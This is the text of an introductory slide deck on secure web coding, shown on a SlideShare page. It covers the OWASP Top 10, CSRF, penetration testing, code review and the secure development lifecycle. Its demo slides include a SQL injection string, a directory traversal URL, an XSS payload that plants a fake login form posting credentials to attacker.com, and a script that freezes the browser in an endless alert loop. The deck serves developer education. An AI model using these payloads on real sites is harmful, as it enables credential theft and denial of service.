SlideShare ist ein Scribd-Unternehmen logo
1 von 14
Downloaden Sie, um offline zu lesen
Do you write
             secure code?


                      Erez Metula, CISSP
               Application Security Consultant & Trainer

                       ErezMetula@gmail.com




                          Agenda

•   What is application security
•   What are application level vulnerabilities
•   Demos
•   Security procedures
•   How to improve the development lifecycle
Growing concern




        What is Application Security?


• It is not about network Security !!!
   • It’s not about Firewalls, Intrusion Detection Systems,
       It’
       Operating System Hardening, Database Hardening, etc.
   • Network Security Mostly Ignores the Contents of HTTP
       Traffic
   • Common myth – “We have a firewall !“   !“

• It is about:
   • Securing the code that drives a web application
   • Securing backend systems – web server, DB, etc..
   • Securing the users !!!
Application Security Is A Different
                  World
• Network Security         • Application Security
   • Part of IT               • Part of Business Units
   • Networking Experts       • Software Experts
   • Product Focused          • Custom Code Focused
   • 1000’s of Copies         • 1 Copy of Software
   • Signature Based          • No Signatures
   • Patch Management         • Prevent Vulnerabilities



    We can’t rely on network security techniques to
                gain application security




          Application security layer
OWASP Top 10 (2010)




                 DEMO – SQL Injection
Developer concate SQL statements
 string sql = "select * from Users where
          user ='" + User.Text + "'
          and pwd='" + Password.Text + "'"
               pwd='"

Hacker types: ‘ or 1=1 --
 string sql = "select * from Users where a
          user =' ' or 1=1 --' and pwd=''"
                           --'     pwd=''"

Result - the first database entry (might be the Admin!)

http://www.victim.com/HacmeBank_v2_Website/aspx/Login.aspx
A little bit of humor..




          DEMO – Directory traversal
• The following demo shows an innocent looking
  page, letting the user to download a requested
  file from the base dir.

• Legitimate use:
• http://www.victim.com/SendPdf/WebForm1.aspx?file=somefile.pdf


• But the user can get out of the base directory..
• http://www.victim.com/SendPdf/WebForm1.aspx?
  file=../../progs/secret/SecretFile.pdf
DEMO - Cross-Site Scripting (XSS)
• Web browsers execute code sent from websites
   • HTML
   • Javascript
   • Flash, etc.
• send malicious code to other users
• the attacker is using the website to forward an attack!
http://www.victim.com/xss/xss.asp?username=david
http://www.victim.com/xss/xss.asp?username=


http://www.victim.com/xss/xss.asp?username=<br>please login:<form
http://www.victim.com/xss/xss.asp?username=<br>please
    action="http://www.attacker.com" name=a
    action="http://www.attacker.com"
    method="post">username:<br><input type=text
    method="post">username:<br><input
    name=b><br>password:<br><input type=password
    name=b><br>password:<br><input
    name=c><br><input class=w type=submit value="login"></form>
    name=c><br><input




   Demo – Denial of Service using XSS

 • Prevent legitimate users from using the hacmebank site
   (while true injection)
    <script>while(true){alert("service unavailable");}</script>
    <script>while(true){alert("service

 • Such a short line can cause so much damage..!!!



 • Other possibilities
    • Delete a specific user (competent?)
    • Change password for a specific user
    • Delete all the tables/database…
                     tables/database…
    • Format the server HD
Business logic attacks
• Flaws that allow a user to do something that isn't allowed by the
  business.
   • Cannot be detected by a vulnerability scanner
   • One of the hardest to detect
   • Specific to the application being tested.

• Some examples
   • Negative amount of money
   • Skipping security checks
   • Performing operations in different order

• DEMO
   • Withdraw becomes a deposit
   • Casino




    Cross Site Request Forgery (CSRF)
• Another client side attack
   • Resembles XSS, but quite different
• The victim’s browser is tricked into issuing a command to a
  vulnerable web application
• The browser outgoing request automatically include user’s
  data (session id, authentication tickets, ip address, etc.)
• Impact
   • Perform transactions on behalf of the user
   • Access private networks
   • Access sensitive data
   • Modify user’s data
CSRF Illustrated
      Attacker sets the trap on some website on the internet
1
          (or simply via an e-mail)



                                                      Application with CSRF
                    Hidden <img> tag                  vulnerability
                    contains attack against
                    vulnerable site




                                                                                    Communication
                                                                   Administration




                                                                                    Bus. Functions
                                                                                    E-Commerce
                                                                   Transactions

                                                                                    Knowledge
                                                        Accounts
                                                        Finance




                                                                                    Mgmt
     While logged into vulnerable site,
2      victim views attacker site
                                                         Custom Code


                                                            3
                                                        Vulnerable site sees
                 <img> tag loaded by                    legitimate request from
                 browser – sends GET                    victim and performs the
                 request (including                     action requested
                 credentials) to vulnerable
                 site




    CSRF via phishing e-mail




                   Unusual activity.msg
CSRF via malicious web site
• You visit a malicious web site
• The web site instructs your browser to submit a request
  to some CSRF vulnerable page on the victim application
• Your browser perform the operation
   • IE7 / Mozilla – at least an open tab
   • IE6 – from the same window

• Example:
• http://www.attacker.com/csrf/InnocentSite.asp
  http://www. attacker. com/ csrf/ InnocentSite.




                       What to do?
• In order to avoid application level threats, we usually perform
   • Penetration testing
   • Code review
   • Threat modeling
   • SDL – Secure Development Lifecycle
Penetration Testing
• Testing the security of systems and architectures from a
  hacker’s point of view
  hacker’
• Blackbox approach - A “simulated attack”
                                    attack”

• Identifying weaknesses in already deployed targets, for
  example, platform tests include:
   • Information disclosure
   • Escalation of privileges to valid users
   • Denial of service
   • Unauthorized access

• Penetration testing is usually done when development
  completes




           Problem - Cost of change
Code review
• Security Code review is a process to improve software
  security by reviewing it “from the inside”
                                     inside”
• Whitebox approach
• This process should be performed by the developer and
  by a 3rd party security personnel
• The main objective is to
   • Detect vulnerabilities in code
   • Identify bad application level configuration
   • Detect backdoors




             The Threat Modeling

                  Threat Modeling Process

             1 Identify Assets

             2 Create an Architecture Overview

             3 Decompose the Application

             4 Identify the Threats

             5 Document the Threats

             6 Rate the Threats
We need secure development
                     methodologies
• Current development methodologies lack security
  procedures
• Security should be performed from the initial project stages
• Security should be embedded into the development lifecycle
• SDL – Secure Development Lifecycle




                        SDL
  “Integrate” Security within Application Life Cycle
    Security      Threat Modeling   Code     Penetration     Secure
  Requirements    / Secure Design   Review     Testing     Deployment




Requirements        Design          Code       Test        Deploy
Use Cases
Don’t rely on only one countermeasure ….




                         Summary
• Application security is different from other security layers
• Traditional security products (firewall, antivirus, IPS, SSL,
  etc.) does not help to mitigate application threats.
• You should perform application security by doing
   • Code review
   • Application penetration test
   • Design review
   • Integrate security into the development cycle
       • Example – SDL (secure Development Lifecyce)
                                                   Lifecyce)
Questions ?




Thank you !

ErezMetula@gmail.com

Weitere ähnliche Inhalte

Was ist angesagt?

Android Security Overview and Safe Practices for Web-Based Android Applications
Android Security Overview and Safe Practices for Web-Based Android ApplicationsAndroid Security Overview and Safe Practices for Web-Based Android Applications
Android Security Overview and Safe Practices for Web-Based Android Applicationsh4oxer
 
Defending Web Applications: first-principles- Jason Lam
Defending Web Applications: first-principles- Jason LamDefending Web Applications: first-principles- Jason Lam
Defending Web Applications: first-principles- Jason LamOWASP-Qatar Chapter
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...owaspindia
 
Security Testing Mobile Applications
Security Testing Mobile ApplicationsSecurity Testing Mobile Applications
Security Testing Mobile ApplicationsDenim Group
 
Смирнов Александр, Security in Android Application
Смирнов Александр, Security in Android ApplicationСмирнов Александр, Security in Android Application
Смирнов Александр, Security in Android ApplicationSECON
 
Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!espheresecurity
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for DevelopersMike North
 
Mobile Apps Security Testing -1
Mobile Apps Security Testing -1Mobile Apps Security Testing -1
Mobile Apps Security Testing -1Krisshhna Daasaarii
 
Web and Mobile Application Security
Web and Mobile Application SecurityWeb and Mobile Application Security
Web and Mobile Application SecurityPrateek Jain
 
Securing Android
Securing AndroidSecuring Android
Securing AndroidMarakana Inc.
 
Crash Course In Brain Surgery
Crash Course In Brain SurgeryCrash Course In Brain Surgery
Crash Course In Brain Surgerymorisson
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Oles Seheda
 
Analysis of web application worms and viruses
Analysis of web application worms and virusesAnalysis of web application worms and viruses
Analysis of web application worms and virusesUltraUploader
 
ISACA CACS 2012 - Mobile Device Security and Privacy
ISACA CACS 2012 - Mobile Device Security and PrivacyISACA CACS 2012 - Mobile Device Security and Privacy
ISACA CACS 2012 - Mobile Device Security and PrivacyMichael Davis
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super BaitJeremiah Grossman
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineNIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineAditya K Sood
 
Csrf
CsrfCsrf
Csrfsamtpru
 
Operation High Roller: The need for a security ally!
Operation High Roller:  The need for a security ally!Operation High Roller:  The need for a security ally!
Operation High Roller: The need for a security ally!Jeff Danielson
 
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM i
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM iCombat Passwords on Post-Its with Multi-Factor Authentication for IBM i
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM iPrecisely
 

Was ist angesagt? (20)

Android Security Overview and Safe Practices for Web-Based Android Applications
Android Security Overview and Safe Practices for Web-Based Android ApplicationsAndroid Security Overview and Safe Practices for Web-Based Android Applications
Android Security Overview and Safe Practices for Web-Based Android Applications
 
Defending Web Applications: first-principles- Jason Lam
Defending Web Applications: first-principles- Jason LamDefending Web Applications: first-principles- Jason Lam
Defending Web Applications: first-principles- Jason Lam
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...
 
Security Testing Mobile Applications
Security Testing Mobile ApplicationsSecurity Testing Mobile Applications
Security Testing Mobile Applications
 
Смирнов Александр, Security in Android Application
Смирнов Александр, Security in Android ApplicationСмирнов Александр, Security in Android Application
Смирнов Александр, Security in Android Application
 
Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!
 
Brief Tour about Android Security
Brief Tour about Android SecurityBrief Tour about Android Security
Brief Tour about Android Security
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for Developers
 
Mobile Apps Security Testing -1
Mobile Apps Security Testing -1Mobile Apps Security Testing -1
Mobile Apps Security Testing -1
 
Web and Mobile Application Security
Web and Mobile Application SecurityWeb and Mobile Application Security
Web and Mobile Application Security
 
Securing Android
Securing AndroidSecuring Android
Securing Android
 
Crash Course In Brain Surgery
Crash Course In Brain SurgeryCrash Course In Brain Surgery
Crash Course In Brain Surgery
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Analysis of web application worms and viruses
Analysis of web application worms and virusesAnalysis of web application worms and viruses
Analysis of web application worms and viruses
 
ISACA CACS 2012 - Mobile Device Security and Privacy
ISACA CACS 2012 - Mobile Device Security and PrivacyISACA CACS 2012 - Mobile Device Security and Privacy
ISACA CACS 2012 - Mobile Device Security and Privacy
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineNIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
 
Csrf
CsrfCsrf
Csrf
 
Operation High Roller: The need for a security ally!
Operation High Roller:  The need for a security ally!Operation High Roller:  The need for a security ally!
Operation High Roller: The need for a security ally!
 
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM i
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM iCombat Passwords on Post-Its with Multi-Factor Authentication for IBM i
Combat Passwords on Post-Its with Multi-Factor Authentication for IBM i
 

Andere mochten auch

Afik Gal @alphageeks: Flex Intro
Afik Gal @alphageeks: Flex IntroAfik Gal @alphageeks: Flex Intro
Afik Gal @alphageeks: Flex IntroAlphageeks
 
Refael Ackermann @alphageeks on HTML5
Refael Ackermann @alphageeks on HTML5Refael Ackermann @alphageeks on HTML5
Refael Ackermann @alphageeks on HTML5Alphageeks
 
Alphageeks #4: Example Embedding By Ohad Barzilay
Alphageeks #4: Example Embedding By Ohad BarzilayAlphageeks #4: Example Embedding By Ohad Barzilay
Alphageeks #4: Example Embedding By Ohad BarzilayAlphageeks
 
Shayke's SCRUM @alphageeks 6
Shayke's SCRUM @alphageeks 6Shayke's SCRUM @alphageeks 6
Shayke's SCRUM @alphageeks 6Alphageeks
 
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5The secrets of developer happiness - Yuval Goldstein @ alphageeks 5
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5Alphageeks
 
The Scrum Roles presented by the Scrumlies 2009
The Scrum Roles presented by the Scrumlies 2009The Scrum Roles presented by the Scrumlies 2009
The Scrum Roles presented by the Scrumlies 2009borisgloger consulting GmbH
 

Andere mochten auch (7)

Afik Gal @alphageeks: Flex Intro
Afik Gal @alphageeks: Flex IntroAfik Gal @alphageeks: Flex Intro
Afik Gal @alphageeks: Flex Intro
 
Refael Ackermann @alphageeks on HTML5
Refael Ackermann @alphageeks on HTML5Refael Ackermann @alphageeks on HTML5
Refael Ackermann @alphageeks on HTML5
 
Alphageeks #4: Example Embedding By Ohad Barzilay
Alphageeks #4: Example Embedding By Ohad BarzilayAlphageeks #4: Example Embedding By Ohad Barzilay
Alphageeks #4: Example Embedding By Ohad Barzilay
 
Shayke's SCRUM @alphageeks 6
Shayke's SCRUM @alphageeks 6Shayke's SCRUM @alphageeks 6
Shayke's SCRUM @alphageeks 6
 
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5The secrets of developer happiness - Yuval Goldstein @ alphageeks 5
The secrets of developer happiness - Yuval Goldstein @ alphageeks 5
 
Pertemuan14
Pertemuan14Pertemuan14
Pertemuan14
 
The Scrum Roles presented by the Scrumlies 2009
The Scrum Roles presented by the Scrumlies 2009The Scrum Roles presented by the Scrumlies 2009
The Scrum Roles presented by the Scrumlies 2009
 

Ähnlich wie Do You Write Secure Code? by Erez Metula

WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITYyashwanthlavu
 
How to Stop Man in the Browser Attacks
How to Stop Man in the Browser AttacksHow to Stop Man in the Browser Attacks
How to Stop Man in the Browser AttacksImperva
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Exploitation techniques and fuzzing
Exploitation techniques and fuzzingExploitation techniques and fuzzing
Exploitation techniques and fuzzingG Prachi
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 sebaSebastien Deleersnyder
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...IBM Security
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Best practices to secure Windows10 with already included features
Best practices to secure Windows10 with already included featuresBest practices to secure Windows10 with already included features
Best practices to secure Windows10 with already included featuresAlexander Benoit
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITYyashwanthlavu
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
EISA Considerations for Web Application Security
EISA Considerations for Web Application SecurityEISA Considerations for Web Application Security
EISA Considerations for Web Application SecurityLarry Ball
 
Threat_Modelling.pdf
Threat_Modelling.pdfThreat_Modelling.pdf
Threat_Modelling.pdfMarlboroAbyad
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Security testing
Security testingSecurity testing
Security testingKhizra Sammad
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Uncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a HackerUncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a HackerIBM Security
 
Protection from hacking attacks
Protection from hacking attacksProtection from hacking attacks
Protection from hacking attacksSugirtha Jasmine M
 

Ähnlich wie Do You Write Secure Code? by Erez Metula (20)

WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITY
 
How to Stop Man in the Browser Attacks
How to Stop Man in the Browser AttacksHow to Stop Man in the Browser Attacks
How to Stop Man in the Browser Attacks
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Exploitation techniques and fuzzing
Exploitation techniques and fuzzingExploitation techniques and fuzzing
Exploitation techniques and fuzzing
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Best practices to secure Windows10 with already included features
Best practices to secure Windows10 with already included featuresBest practices to secure Windows10 with already included features
Best practices to secure Windows10 with already included features
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITY
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Isys20261 lecture 09
Isys20261 lecture 09Isys20261 lecture 09
Isys20261 lecture 09
 
EISA Considerations for Web Application Security
EISA Considerations for Web Application SecurityEISA Considerations for Web Application Security
EISA Considerations for Web Application Security
 
Threat_Modelling.pdf
Threat_Modelling.pdfThreat_Modelling.pdf
Threat_Modelling.pdf
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Security testing
Security testingSecurity testing
Security testing
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Uncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a HackerUncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a Hacker
 
Protection from hacking attacks
Protection from hacking attacksProtection from hacking attacks
Protection from hacking attacks
 
Botnets Attacks.pptx
Botnets Attacks.pptxBotnets Attacks.pptx
Botnets Attacks.pptx
 
Web security 2012
Web security 2012Web security 2012
Web security 2012
 

KĂźrzlich hochgeladen

How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel AraĂşjo
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGSujit Pal
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 

KĂźrzlich hochgeladen (20)

How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAG
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 

Do You Write Secure Code? by Erez Metula

  • 1. Do you write secure code? Erez Metula, CISSP Application Security Consultant & Trainer ErezMetula@gmail.com Agenda • What is application security • What are application level vulnerabilities • Demos • Security procedures • How to improve the development lifecycle
  • 2. Growing concern What is Application Security? • It is not about network Security !!! • It’s not about Firewalls, Intrusion Detection Systems, It’ Operating System Hardening, Database Hardening, etc. • Network Security Mostly Ignores the Contents of HTTP Traffic • Common myth – “We have a firewall !“ !“ • It is about: • Securing the code that drives a web application • Securing backend systems – web server, DB, etc.. • Securing the users !!!
  • 3. Application Security Is A Different World • Network Security • Application Security • Part of IT • Part of Business Units • Networking Experts • Software Experts • Product Focused • Custom Code Focused • 1000’s of Copies • 1 Copy of Software • Signature Based • No Signatures • Patch Management • Prevent Vulnerabilities We can’t rely on network security techniques to gain application security Application security layer
